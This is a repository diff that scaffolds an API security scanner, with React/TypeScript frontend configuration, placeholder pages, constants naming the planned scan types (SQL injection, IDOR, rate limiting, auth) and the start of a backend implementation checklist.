@ -0,0 +1,122 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2025
|
||||||
|
// eslint.config.js
|
||||||
|
// ===================
|
||||||
|
import js from '@eslint/js';
|
||||||
|
import tseslint from 'typescript-eslint';
|
||||||
|
import react from 'eslint-plugin-react';
|
||||||
|
import reactHooks from 'eslint-plugin-react-hooks';
|
||||||
|
import reactRefresh from 'eslint-plugin-react-refresh';
|
||||||
|
import jsxA11y from 'eslint-plugin-jsx-a11y';
|
||||||
|
import prettierConfig from 'eslint-config-prettier';
|
||||||
|
import globals from 'globals';
|
||||||
|
|
||||||
|
export default tseslint.config(
|
||||||
|
{
|
||||||
|
ignores: ['dist', 'vite.config.ts', '*.min.js', 'eslint.config.js'],
|
||||||
|
},
|
||||||
|
|
||||||
|
js.configs.recommended,
|
||||||
|
|
||||||
|
...tseslint.configs.strictTypeChecked,
|
||||||
|
...tseslint.configs.stylisticTypeChecked,
|
||||||
|
|
||||||
|
{
|
||||||
|
files: ['**/*.{ts,tsx}'],
|
||||||
|
plugins: {
|
||||||
|
react,
|
||||||
|
'react-hooks': reactHooks,
|
||||||
|
'react-refresh': reactRefresh,
|
||||||
|
'jsx-a11y': jsxA11y,
|
||||||
|
},
|
||||||
|
languageOptions: {
|
||||||
|
parser: tseslint.parser,
|
||||||
|
parserOptions: {
|
||||||
|
project: ['./tsconfig.app.json', './tsconfig.node.json'],
|
||||||
|
tsconfigRootDir: import.meta.dirname,
|
||||||
|
ecmaFeatures: { jsx: true },
|
||||||
|
},
|
||||||
|
globals: {
|
||||||
|
...globals.browser,
|
||||||
|
...globals.node,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
settings: {
|
||||||
|
react: {
|
||||||
|
version: 'detect',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
rules: {
|
||||||
|
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrorsIgnorePattern: '^_' }],
|
||||||
|
'@typescript-eslint/consistent-type-imports': ['error', { prefer: 'type-imports', fixStyle: 'inline-type-imports' }],
|
||||||
|
'@typescript-eslint/explicit-function-return-type': ['error', {
|
||||||
|
allowExpressions: true,
|
||||||
|
allowTypedFunctionExpressions: true,
|
||||||
|
allowHigherOrderFunctions: true,
|
||||||
|
allowDirectConstAssertionInArrowFunctions: true,
|
||||||
|
allowedNames: ['Component']
|
||||||
|
}],
|
||||||
|
'@typescript-eslint/naming-convention': 'off',
|
||||||
|
'@typescript-eslint/no-non-null-assertion': 'error',
|
||||||
|
'@typescript-eslint/array-type': ['error', { default: 'array' }],
|
||||||
|
'@typescript-eslint/no-explicit-any': 'error',
|
||||||
|
'@typescript-eslint/no-confusing-void-expression': 'off',
|
||||||
|
'@typescript-eslint/no-unnecessary-condition': 'off',
|
||||||
|
'@typescript-eslint/no-floating-promises': 'error',
|
||||||
|
'@typescript-eslint/strict-boolean-expressions': ['error', {
|
||||||
|
allowString: false,
|
||||||
|
allowNumber: false,
|
||||||
|
allowNullableObject: false,
|
||||||
|
allowNullableString: true,
|
||||||
|
allowAny: true
|
||||||
|
}],
|
||||||
|
|
||||||
|
'@typescript-eslint/prefer-as-const': 'error',
|
||||||
|
'@typescript-eslint/consistent-type-definitions': ['error', 'interface'],
|
||||||
|
|
||||||
|
'react/prop-types': 'off',
|
||||||
|
'react/jsx-uses-react': 'off',
|
||||||
|
'react/react-in-jsx-scope': 'off',
|
||||||
|
'react/jsx-no-leaked-render': ['error', { validStrategies: ['ternary'] }],
|
||||||
|
'react/jsx-key': ['error', { checkFragmentShorthand: true, checkKeyMustBeforeSpread: true, warnOnDuplicates: true }],
|
||||||
|
'react/jsx-no-useless-fragment': ['error', { allowExpressions: false }],
|
||||||
|
'react/jsx-pascal-case': ['error', { allowAllCaps: false }],
|
||||||
|
'react/no-array-index-key': 'warn',
|
||||||
|
'react/no-unstable-nested-components': 'error',
|
||||||
|
|
||||||
|
'react-hooks/rules-of-hooks': 'error',
|
||||||
|
'react-hooks/exhaustive-deps': 'warn',
|
||||||
|
|
||||||
|
'react-refresh/only-export-components': [
|
||||||
|
'warn',
|
||||||
|
{ allowConstantExport: true },
|
||||||
|
],
|
||||||
|
|
||||||
|
'jsx-a11y/alt-text': 'error',
|
||||||
|
'jsx-a11y/anchor-has-content': 'error',
|
||||||
|
'jsx-a11y/click-events-have-key-events': 'error',
|
||||||
|
'jsx-a11y/no-static-element-interactions': 'error',
|
||||||
|
|
||||||
|
'no-console': ['warn', { allow: ['warn', 'error'] }],
|
||||||
|
'no-debugger': 'error',
|
||||||
|
'no-alert': 'error',
|
||||||
|
'no-var': 'error',
|
||||||
|
'prefer-const': 'error',
|
||||||
|
'prefer-template': 'error',
|
||||||
|
'object-shorthand': 'error',
|
||||||
|
'no-nested-ternary': 'error',
|
||||||
|
'max-depth': ['error', 6],
|
||||||
|
'max-lines': ['error', { max: 2000, skipBlankLines: true, skipComments: true }],
|
||||||
|
'complexity': ['error', 55],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
|
||||||
|
{
|
||||||
|
files: ['src/main.tsx'],
|
||||||
|
rules: {
|
||||||
|
'@typescript-eslint/no-non-null-assertion': 'off', // Allow document.getElementById('root')!
|
||||||
|
},
|
||||||
|
},
|
||||||
|
|
||||||
|
prettierConfig,
|
||||||
|
);
|
||||||
|
|
@ -0,0 +1,23 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
|
||||||
|
<meta name="theme-color" content="#000000">
|
||||||
|
<meta name="description" content="API Security Scanner Project, React Typescript, Nginx, Docker, FastAPI, Python, Pydandic, OWASP">
|
||||||
|
<meta name="author" content="Carter Perez">
|
||||||
|
<meta property="og:locale" content="en_US">
|
||||||
|
<meta property="article:author" content="Carterperez-dev - REPLACE MY NAME">
|
||||||
|
<meta name="keywords" content="scanner, security, owasp, api scanner, api security, cybersecurity, projects, project">
|
||||||
|
<link rel="icon" href="/favicon.ico">
|
||||||
|
<link rel="apple-touch-icon" href="/apple-touch-icon.png">
|
||||||
|
<link rel="manifest" href="/manifest.json">
|
||||||
|
<meta name="robots" content="index, follow">
|
||||||
|
<title>API Security Scanner</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<noscript>You need to enable JavaScript to run this app.</noscript>
|
||||||
|
<div id="root"></div>
|
||||||
|
<script type="module" src="/src/main.tsx"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
File diff suppressed because it is too large
Load Diff
|
|
@ -0,0 +1,60 @@
|
||||||
|
{
|
||||||
|
"name": "api-security-scanner",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"private": true,
|
||||||
|
"type": "module",
|
||||||
|
"scripts": {
|
||||||
|
"build": "vite build",
|
||||||
|
"dev": "vite",
|
||||||
|
"format": "prettier --write \"**/*.{ts,tsx,scss}\"",
|
||||||
|
"format:check": "prettier --check \"**/*.{ts,tsx,scss}\"",
|
||||||
|
"lint": "npm run lint:eslint && npm run lint:scss && npm run lint:types",
|
||||||
|
"lint:eslint": "eslint . --ext .ts,.tsx --max-warnings 0",
|
||||||
|
"lint:types": "tsc --project tsconfig.app.json --noEmit"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@hookform/resolvers": "^5.2.1",
|
||||||
|
"@radix-ui/react-collapsible": "^1.1.12",
|
||||||
|
"@radix-ui/react-dialog": "^1.1.15",
|
||||||
|
"@radix-ui/react-dropdown-menu": "^2.1.16",
|
||||||
|
"@radix-ui/react-tabs": "^1.1.13",
|
||||||
|
"@radix-ui/react-toast": "^1.2.15",
|
||||||
|
"@radix-ui/react-tooltip": "^1.2.8",
|
||||||
|
"@tanstack/react-query": "^5.85.3",
|
||||||
|
"@tanstack/react-query-devtools": "^5.85.3",
|
||||||
|
"axios": "^1.12.2",
|
||||||
|
"clsx": "^2.1.1",
|
||||||
|
"date-fns": "^4.1.0",
|
||||||
|
"immer": "^10.1.1",
|
||||||
|
"react": "^19.1.1",
|
||||||
|
"react-dom": "^19.1.1",
|
||||||
|
"react-hook-form": "^7.62.0",
|
||||||
|
"react-icons": "^5.5.0",
|
||||||
|
"react-markdown": "^10.1.0",
|
||||||
|
"react-router-dom": "^7.8.1",
|
||||||
|
"recharts": "^3.1.2",
|
||||||
|
"socket.io-client": "^4.8.1",
|
||||||
|
"sonner": "^2.0.7",
|
||||||
|
"zod": "^4.0.17",
|
||||||
|
"zustand": "^5.0.7"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@eslint/js": "^9.33.0",
|
||||||
|
"@types/react": "^19.1.10",
|
||||||
|
"@types/react-dom": "^19.1.7",
|
||||||
|
"@vitejs/plugin-react": "^5.0.0",
|
||||||
|
"eslint": "^9.33.0",
|
||||||
|
"eslint-config-prettier": "^10.1.8",
|
||||||
|
"eslint-plugin-jsx-a11y": "^6.10.2",
|
||||||
|
"eslint-plugin-react": "^7.37.5",
|
||||||
|
"eslint-plugin-react-hooks": "^5.2.0",
|
||||||
|
"eslint-plugin-react-refresh": "^0.4.20",
|
||||||
|
"globals": "^16.3.0",
|
||||||
|
"husky": "^8.0.0",
|
||||||
|
"prettier": "^3.6.2",
|
||||||
|
"typescript": "~5.8.3",
|
||||||
|
"typescript-eslint": "^8.39.1",
|
||||||
|
"vite": "^7.1.2",
|
||||||
|
"vite-tsconfig-paths": "^5.1.4"
|
||||||
|
}
|
||||||
|
}
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 105 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 16 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 378 B |
Binary file not shown.
|
After Width: | Height: | Size: 878 B |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
|
|
@ -0,0 +1 @@
|
||||||
|
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
/**
|
||||||
|
* ©AngelaMos | 2025
|
||||||
|
* Main application component
|
||||||
|
*/
|
||||||
|
|
||||||
|
function App() {
|
||||||
|
return (
|
||||||
|
<div
|
||||||
|
style={{
|
||||||
|
backgroundColor: '#000',
|
||||||
|
color: '#fff',
|
||||||
|
minHeight: '100vh',
|
||||||
|
display: 'flex',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
fontFamily: 'system-ui, -apple-system, sans-serif',
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<h1>API Security Scanner - Placeholder</h1>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export default App;
|
||||||
|
|
@ -0,0 +1,85 @@
|
||||||
|
/**
|
||||||
|
* ©AngelaMos | 2025
|
||||||
|
* All hardcoded values, API endpoints, and configuration constants
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* API Configuration
|
||||||
|
*/
|
||||||
|
export const API_BASE_URL =
|
||||||
|
import.meta.env.VITE_API_URL || 'http://localhost/api';
|
||||||
|
|
||||||
|
export const API_ENDPOINTS = {
|
||||||
|
// Auth endpoints
|
||||||
|
AUTH: {
|
||||||
|
REGISTER: '/auth/register',
|
||||||
|
LOGIN: '/auth/login',
|
||||||
|
},
|
||||||
|
// Scan endpoints
|
||||||
|
SCANS: {
|
||||||
|
CREATE: '/scans',
|
||||||
|
LIST: '/scans',
|
||||||
|
GET: (id: number) => `/scans/${id}`,
|
||||||
|
DELETE: (id: number) => `/scans/${id}`,
|
||||||
|
},
|
||||||
|
} as const;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* LocalStorage Keys
|
||||||
|
*/
|
||||||
|
export const STORAGE_KEYS = {
|
||||||
|
AUTH_TOKEN: 'auth_token',
|
||||||
|
USER: 'user',
|
||||||
|
} as const;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Application Constants
|
||||||
|
*/
|
||||||
|
export const APP_NAME = 'API Security Scanner';
|
||||||
|
export const APP_VERSION = '1.0.0';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Scan Configuration
|
||||||
|
*/
|
||||||
|
export const SCAN_TYPES = {
|
||||||
|
RATE_LIMIT: 'rate_limit',
|
||||||
|
AUTH: 'auth',
|
||||||
|
SQLI: 'sqli',
|
||||||
|
IDOR: 'idor',
|
||||||
|
} as const;
|
||||||
|
|
||||||
|
export const SCAN_TYPE_LABELS: Record<string, string> = {
|
||||||
|
[SCAN_TYPES.RATE_LIMIT]: 'Rate Limiting',
|
||||||
|
[SCAN_TYPES.AUTH]: 'Authentication',
|
||||||
|
[SCAN_TYPES.SQLI]: 'SQL Injection',
|
||||||
|
[SCAN_TYPES.IDOR]: 'IDOR',
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Severity Levels
|
||||||
|
*/
|
||||||
|
export const SEVERITY = {
|
||||||
|
CRITICAL: 'critical',
|
||||||
|
HIGH: 'high',
|
||||||
|
MEDIUM: 'medium',
|
||||||
|
LOW: 'low',
|
||||||
|
INFO: 'info',
|
||||||
|
} as const;
|
||||||
|
|
||||||
|
export const SEVERITY_COLORS: Record<string, string> = {
|
||||||
|
[SEVERITY.CRITICAL]: '#dc2626',
|
||||||
|
[SEVERITY.HIGH]: '#ea580c',
|
||||||
|
[SEVERITY.MEDIUM]: '#f59e0b',
|
||||||
|
[SEVERITY.LOW]: '#3b82f6',
|
||||||
|
[SEVERITY.INFO]: '#6b7280',
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Scan Status
|
||||||
|
*/
|
||||||
|
export const SCAN_STATUS = {
|
||||||
|
PENDING: 'pending',
|
||||||
|
RUNNING: 'running',
|
||||||
|
COMPLETED: 'completed',
|
||||||
|
FAILED: 'failed',
|
||||||
|
} as const;
|
||||||
|
|
@ -0,0 +1,51 @@
|
||||||
|
/**
|
||||||
|
* ©AngelaMos | 2025
|
||||||
|
* Axios instance with request/response interceptors
|
||||||
|
*/
|
||||||
|
|
||||||
|
import axios, { AxiosError, AxiosResponse } from 'axios';
|
||||||
|
import { API_BASE_URL, STORAGE_KEYS } from '@/config/constants';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create axios instance with base configuration
|
||||||
|
*/
|
||||||
|
export const api = axios.create({
|
||||||
|
baseURL: API_BASE_URL,
|
||||||
|
timeout: 30000,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Request interceptor - attach auth token to requests
|
||||||
|
*/
|
||||||
|
api.interceptors.request.use(
|
||||||
|
(config) => {
|
||||||
|
const token = localStorage.getItem(STORAGE_KEYS.AUTH_TOKEN);
|
||||||
|
if (token) {
|
||||||
|
config.headers.Authorization = `Bearer ${token}`;
|
||||||
|
}
|
||||||
|
return config;
|
||||||
|
},
|
||||||
|
(error: AxiosError) => {
|
||||||
|
return Promise.reject(error);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Response interceptor - handle common errors
|
||||||
|
*/
|
||||||
|
api.interceptors.response.use(
|
||||||
|
(response: AxiosResponse) => {
|
||||||
|
return response;
|
||||||
|
},
|
||||||
|
(error: AxiosError) => {
|
||||||
|
if (error.response?.status === 401) {
|
||||||
|
localStorage.removeItem(STORAGE_KEYS.AUTH_TOKEN);
|
||||||
|
localStorage.removeItem(STORAGE_KEYS.USER);
|
||||||
|
window.location.href = '/login';
|
||||||
|
}
|
||||||
|
return Promise.reject(error);
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
@ -0,0 +1,19 @@
|
||||||
|
/**
|
||||||
|
* ©AngelaMos | 2025
|
||||||
|
* TanStack Query client configuration
|
||||||
|
*/
|
||||||
|
|
||||||
|
import { QueryClient } from '@tanstack/react-query';
|
||||||
|
|
||||||
|
export const queryClient = new QueryClient({
|
||||||
|
defaultOptions: {
|
||||||
|
queries: {
|
||||||
|
retry: 1,
|
||||||
|
refetchOnWindowFocus: false,
|
||||||
|
staleTime: 5 * 60 * 1000, // 5 minutes
|
||||||
|
},
|
||||||
|
mutations: {
|
||||||
|
retry: false,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
@ -0,0 +1,14 @@
|
||||||
|
/**
|
||||||
|
* ©AngelaMos | 2025
|
||||||
|
* Application entry point
|
||||||
|
*/
|
||||||
|
|
||||||
|
import { StrictMode } from 'react';
|
||||||
|
import { createRoot } from 'react-dom/client';
|
||||||
|
import App from './App.tsx';
|
||||||
|
|
||||||
|
createRoot(document.getElementById('root')!).render(
|
||||||
|
<StrictMode>
|
||||||
|
<App />
|
||||||
|
</StrictMode>,
|
||||||
|
);
|
||||||
|
|
@ -0,0 +1,51 @@
|
||||||
|
/**
|
||||||
|
* ©AngelaMos | 2025
|
||||||
|
* Application routing configuration
|
||||||
|
*/
|
||||||
|
|
||||||
|
import { createBrowserRouter } from 'react-router-dom';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Placeholder components for routes
|
||||||
|
*/
|
||||||
|
const PlaceholderPage = ({ title }: { title: string }) => (
|
||||||
|
<div
|
||||||
|
style={{
|
||||||
|
backgroundColor: '#000',
|
||||||
|
color: '#fff',
|
||||||
|
minHeight: '100vh',
|
||||||
|
display: 'flex',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'center',
|
||||||
|
fontFamily: 'system-ui, -apple-system, sans-serif',
|
||||||
|
flexDirection: 'column',
|
||||||
|
gap: '1rem',
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<h1>{title}</h1>
|
||||||
|
<p style={{ color: '#888' }}>Page coming soon...</p>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
|
||||||
|
export const router = createBrowserRouter([
|
||||||
|
{
|
||||||
|
path: '/',
|
||||||
|
element: <PlaceholderPage title="Dashboard" />,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/login',
|
||||||
|
element: <PlaceholderPage title="Login" />,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/register',
|
||||||
|
element: <PlaceholderPage title="Register" />,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/scan',
|
||||||
|
element: <PlaceholderPage title="New Scan" />,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: '/history',
|
||||||
|
element: <PlaceholderPage title="Scan History" />,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
|
@ -0,0 +1,28 @@
|
||||||
|
{
|
||||||
|
"compilerOptions": {
|
||||||
|
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
|
||||||
|
"target": "ES2022",
|
||||||
|
"useDefineForClassFields": true,
|
||||||
|
"lib": ["ES2022", "DOM", "DOM.Iterable"],
|
||||||
|
"module": "ESNext",
|
||||||
|
"skipLibCheck": true,
|
||||||
|
"moduleResolution": "bundler",
|
||||||
|
"allowImportingTsExtensions": true,
|
||||||
|
"verbatimModuleSyntax": true,
|
||||||
|
"moduleDetection": "force",
|
||||||
|
"noEmit": true,
|
||||||
|
"jsx": "react-jsx",
|
||||||
|
"isolatedModules": true,
|
||||||
|
"baseUrl": ".",
|
||||||
|
"paths": {
|
||||||
|
"@/*": ["./src/*"],
|
||||||
|
},
|
||||||
|
"strict": true,
|
||||||
|
"noUnusedLocals": true,
|
||||||
|
"noUnusedParameters": true,
|
||||||
|
"noFallthroughCasesInSwitch": true,
|
||||||
|
"noImplicitReturns": true,
|
||||||
|
"exactOptionalPropertyTypes": true
|
||||||
|
},
|
||||||
|
"include": ["src"]
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,7 @@
|
||||||
|
{
|
||||||
|
"files": [],
|
||||||
|
"references": [
|
||||||
|
{ "path": "./tsconfig.app.json" },
|
||||||
|
{ "path": "./tsconfig.node.json" }
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,22 @@
|
||||||
|
{
|
||||||
|
"compilerOptions": {
|
||||||
|
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.node.tsbuildinfo",
|
||||||
|
"target": "ES2023",
|
||||||
|
"lib": ["ES2023"],
|
||||||
|
"module": "ESNext",
|
||||||
|
"skipLibCheck": true,
|
||||||
|
"moduleResolution": "bundler",
|
||||||
|
"allowImportingTsExtensions": true,
|
||||||
|
"verbatimModuleSyntax": true,
|
||||||
|
"moduleDetection": "force",
|
||||||
|
"noEmit": true,
|
||||||
|
"composite": true,
|
||||||
|
"resolveJsonModule": true,
|
||||||
|
"isolatedModules": true,
|
||||||
|
"strict": true,
|
||||||
|
"noUnusedLocals": true,
|
||||||
|
"noUnusedParameters": true,
|
||||||
|
"noFallthroughCasesInSwitch": true
|
||||||
|
},
|
||||||
|
"include": ["vite.config.ts"]
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,41 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2025
|
||||||
|
// vite.config.ts
|
||||||
|
// ===================
|
||||||
|
import react from '@vitejs/plugin-react';
|
||||||
|
import tsconfigPaths from 'vite-tsconfig-paths';
|
||||||
|
import { defineConfig } from 'vite';
|
||||||
|
|
||||||
|
export default defineConfig({
|
||||||
|
plugins: [react(), tsconfigPaths()],
|
||||||
|
resolve: {
|
||||||
|
alias: {
|
||||||
|
'@': '/src',
|
||||||
|
},
|
||||||
|
extensions: ['.ts', '.tsx', '.js', '.jsx', '.json'],
|
||||||
|
},
|
||||||
|
build: {
|
||||||
|
outDir: 'build',
|
||||||
|
sourcemap: false,
|
||||||
|
rollupOptions: {
|
||||||
|
output: {
|
||||||
|
manualChunks: {
|
||||||
|
vendor: ['react', 'react-dom'],
|
||||||
|
router: ['react-router-dom'],
|
||||||
|
query: ['@tanstack/react-query'],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
server: {
|
||||||
|
host: '0.0.0.0',
|
||||||
|
port: 5173,
|
||||||
|
proxy: {
|
||||||
|
'/api': {
|
||||||
|
target: process.env.VITE_PROXY_TARGET || 'http://backend:8000',
|
||||||
|
changeOrigin: true,
|
||||||
|
rewrite: (path) => path.replace(/^\/api/, ''),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
@ -0,0 +1,33 @@
|
||||||
|
{
|
||||||
|
"name": "api-security-scanner",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "Automated API security testing tool with FastAPI backend and ReactTS frontend",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"dev": "docker-compose -f docker-compose.dev.yml up",
|
||||||
|
"dev:build": "docker compose -f docker-compose.dev.yml up --build",
|
||||||
|
"dev:down": "docker compose -f docker-compose.dev.yml down",
|
||||||
|
"dev:logs": "docker compose -f docker-compose.dev.yml logs -f",
|
||||||
|
"prod": "docker compose -f docker-compose.prod.yml up -d",
|
||||||
|
"prod:build": "docker compose -f docker-compose.prod.yml up --build -d",
|
||||||
|
"prod:down": "docker compose -f docker-compose.prod.yml down",
|
||||||
|
"prod:logs": "docker compose -f docker-compose.prod.yml logs -f",
|
||||||
|
"clean": "docker compose -f docker-compose.dev.yml down -v && docker compose -f docker-compose.prod.yml down -v",
|
||||||
|
"clean:all": "npm run clean && docker system prune -af --volumes"
|
||||||
|
},
|
||||||
|
"repository": {
|
||||||
|
"type": "git",
|
||||||
|
"url": "https://github.com/carterperez-dev/api-security-scanner"
|
||||||
|
},
|
||||||
|
"keywords": [
|
||||||
|
"security",
|
||||||
|
"api-testing",
|
||||||
|
"vulnerability-scanner",
|
||||||
|
"pentesting",
|
||||||
|
"fastapi",
|
||||||
|
"react",
|
||||||
|
"docker"
|
||||||
|
],
|
||||||
|
"author": "CarerPerez-dev - also replace my github url username with yours",
|
||||||
|
"license": "MIT"
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,698 @@
|
||||||
|
# API Security Testing Tool - Implementation Checklist
|
||||||
|
|
||||||
|
**Project Start Date:** 2025-11-08
|
||||||
|
**Status:** In Progress
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ✅ PROJECT SETUP
|
||||||
|
|
||||||
|
### Initial Structure
|
||||||
|
- [x] Create `/backend` directory
|
||||||
|
- [ ] Create `/frontend` directory
|
||||||
|
- [ ] Create `/conf` directory for Docker/Nginx configs
|
||||||
|
- [x] Create root `.gitignore` file
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🐍 BACKEND - FOUNDATION
|
||||||
|
|
||||||
|
### Python Project Setup
|
||||||
|
- [ ] Create `backend/pyproject.toml` with project metadata
|
||||||
|
- [ ] Create `backend/requirements.txt` with all dependencies
|
||||||
|
- [ ] Create `backend/.python-version` (specify Python 3.11)
|
||||||
|
- [x] Create `backend/.style.yapf` for code formatting
|
||||||
|
- [ ] Create `backend/.env.example` with all required environment variables
|
||||||
|
- [ ] Create `backend/__init__.py` (empty, marks as package)
|
||||||
|
|
||||||
|
### Core Configuration
|
||||||
|
- [ ] Create `backend/config.py` with Settings class (Pydantic BaseSettings)
|
||||||
|
- [ ] Add all magic number constants to config.py (PASSWORD_MIN_LENGTH, MAX_REQUESTS_DEFAULT, etc.)
|
||||||
|
- [ ] Add database URL configuration
|
||||||
|
- [ ] Add JWT settings (SECRET_KEY, ALGORITHM, ACCESS_TOKEN_EXPIRE_MINUTES)
|
||||||
|
- [ ] Add CORS origins configuration
|
||||||
|
- [ ] Add scanner default settings
|
||||||
|
- [ ] Implement cached settings function with @lru_cache
|
||||||
|
|
||||||
|
### Core Modules - `backend/core/`
|
||||||
|
- [ ] Create `backend/core/__init__.py`
|
||||||
|
- [ ] Create `backend/core/enums.py` with ScanStatus enum
|
||||||
|
- [ ] Add Severity enum to enums.py
|
||||||
|
- [ ] Add TestType enum to enums.py
|
||||||
|
- [ ] Create `backend/core/database.py` with SQLAlchemy engine setup
|
||||||
|
- [ ] Add SessionLocal factory to database.py
|
||||||
|
- [ ] Add Base declarative_base to database.py
|
||||||
|
- [ ] Add get_db() dependency function to database.py
|
||||||
|
- [ ] Create `backend/core/security.py` with bcrypt password hashing
|
||||||
|
- [ ] Add JWT token creation function to security.py
|
||||||
|
- [ ] Add JWT token decode/verify function to security.py
|
||||||
|
- [ ] Create `backend/core/dependencies.py` with HTTPBearer security
|
||||||
|
- [ ] Add get_current_user() dependency to dependencies.py
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🗄️ BACKEND - DATA LAYER
|
||||||
|
|
||||||
|
### Models - `backend/models/`
|
||||||
|
- [ ] Create `backend/models/__init__.py`
|
||||||
|
- [ ] Create `backend/models/User.py` (thin, just table definition)
|
||||||
|
- [ ] Create `backend/models/ScanResult.py` (scan history table)
|
||||||
|
- [ ] Create `backend/models/ApiTarget.py` (optional: store target APIs)
|
||||||
|
|
||||||
|
### Schemas (Pydantic V2) - `backend/schemas/`
|
||||||
|
- [ ] Create `backend/schemas/__init__.py`
|
||||||
|
- [ ] Create `backend/schemas/shared_schemas.py` with generic response models
|
||||||
|
- [ ] Create `backend/schemas/user_schemas.py` with UserCreate schema
|
||||||
|
- [ ] Add UserLogin schema to user_schemas.py
|
||||||
|
- [ ] Add UserResponse schema with ConfigDict(from_attributes=True) to user_schemas.py
|
||||||
|
- [ ] Add TokenResponse schema to user_schemas.py
|
||||||
|
- [ ] Create `backend/schemas/scan_schemas.py` with ScanRequest schema
|
||||||
|
- [ ] Add ScanResult schema to scan_schemas.py (individual test result)
|
||||||
|
- [ ] Add ScanResponse schema to scan_schemas.py (complete scan response)
|
||||||
|
- [ ] Replace ALL magic numbers in Field() with config constants
|
||||||
|
|
||||||
|
### TypedDicts - `backend/types/`
|
||||||
|
- [ ] Create `backend/types/__init__.py`
|
||||||
|
- [ ] Create `backend/types/scan_types.py` with ScannerResult TypedDict
|
||||||
|
- [ ] Add ScannerConfig TypedDict to scan_types.py
|
||||||
|
- [ ] Create `backend/types/service_types.py` with service layer TypedDicts
|
||||||
|
- [ ] Create `backend/types/repository_types.py` with UserDict TypedDict
|
||||||
|
|
||||||
|
### Repositories - `backend/repositories/`
|
||||||
|
- [ ] Create `backend/repositories/__init__.py`
|
||||||
|
- [ ] Create `backend/repositories/shared_repository.py` with base repository functions
|
||||||
|
- [ ] Create `backend/repositories/user_repository.py` as static class
|
||||||
|
- [ ] Add get_by_email() method to UserRepository
|
||||||
|
- [ ] Add get_by_id() method to UserRepository
|
||||||
|
- [ ] Add create() method to UserRepository
|
||||||
|
- [ ] Add get_all_active() method to UserRepository
|
||||||
|
- [ ] Create `backend/repositories/scan_repository.py` as static class
|
||||||
|
- [ ] Add save_scan() method to ScanRepository
|
||||||
|
- [ ] Add get_by_user() method to ScanRepository
|
||||||
|
- [ ] Add get_by_id() method to ScanRepository
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🧠 BACKEND - BUSINESS LOGIC
|
||||||
|
|
||||||
|
### Services - `backend/services/`
|
||||||
|
- [ ] Create `backend/services/__init__.py`
|
||||||
|
- [ ] Create `backend/services/auth_service.py` with AuthService class
|
||||||
|
- [ ] Add register_user() method to AuthService
|
||||||
|
- [ ] Add login_user() method to AuthService (returns TokenResponse)
|
||||||
|
- [ ] Add password validation logic to AuthService
|
||||||
|
- [ ] Add user existence check to AuthService
|
||||||
|
